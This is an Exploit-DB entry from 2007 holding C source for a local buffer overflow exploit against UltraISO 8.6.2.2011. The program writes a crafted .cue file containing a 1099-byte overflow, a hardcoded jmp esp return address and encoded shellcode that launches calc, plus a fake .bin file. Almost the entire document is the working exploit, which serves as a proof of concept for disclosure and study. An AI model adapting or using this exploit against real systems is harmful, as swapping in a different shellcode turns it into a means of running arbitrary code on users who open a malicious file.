UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (1)

EDB-ID:

4001


Author:

n00b

Type:

local


Platform:

Windows

Date:

2007-05-28


/*
Date : May 28th 2007.
UltraISO <= 8.6.2.2011 local buffer-over flow by n00b
You might need to change the jmp esp% adress to your version.
Tested on win xp service pack 2 <eng> executes calc.Don't
forget you need to have the bin and cue file in the same 
Directory special thanks to Thomas Pollet also.

*/

#include <stdlib.h>
#include <stdio.h>

//Calc shell_code
unsigned char shell_code[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" 
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" 
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x58\x45\x54\x4e\x33\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38" 
"\x4f\x35\x42\x42\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e" 
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x54"
"\x4b\x58\x4f\x35\x4e\x31\x41\x50\x4b\x4e\x4b\x38\x4e\x41\x4b\x38" 
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x44\x42\x43\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a" 
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x4a\x46\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x56\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57" 
"\x42\x55\x4a\x46\x4f\x4e\x50\x4c\x42\x4e\x42\x46\x4a\x36\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x56"
"\x4e\x46\x43\x56\x50\x42\x45\x56\x4a\x37\x45\x36\x42\x30\x5a" ;

int main(int argc, char *argv[])
{
	FILE *cue;

	FILE *bin;

 if(argc < 2) {
 
 system("cls");
 printf("\n *************************************************");
 printf("\n *************************************************");
 printf("\n *   Ultra Iso local buffer over flow by n00b    *");
 printf("\n *************************************************");
 printf("\n *          Special thanks to Str0ke             *");
 printf("\n *************************************************");
 printf("\n * Shout's ~ str0ke ~ c0ntex ~ marsu ~v9@fakehalo*");
 printf("\n * Date :          May 28th 2007                 *");
 printf("\n *************************************************");
 printf("\n * Credit's to n00b for finding this bug and poc *");
 printf("\n *************************************************");
 printf("\n    Usage:>  Exploit.cue   Exploit.bin            ");
 printf("\n *************************************************");

		return 0;
	}
      if(!(cue = fopen(argv[1], "w"))) {
		printf("[+] Error");
		return 0;
	}
  
	fputs("FILE \"", cue);
	for (int i=0;i<1099;i++) \
	fputs("A", cue);
	fputs("\x43\x41\xf8\x77", cue); 
       
    fputs((char *)shell_code, cue);
    fputs(".bin \"", cue);
	fputs("\" BINARY\n", cue);
	fputs(" TRACK 01 MODE2/2352\n", cue);
	fputs(" INDEX 01 00:00:00\n", cue);
	
    fclose(cue);
    
      if(!(bin = fopen(argv[2], "w"))) {
		printf("[+] Error");
		return 0;
	}

	fputs("Fake bin file\n", bin);
	fclose(bin);
	printf("File's successfully created");
	return 0;
}

// milw0rm.com [2007-05-28]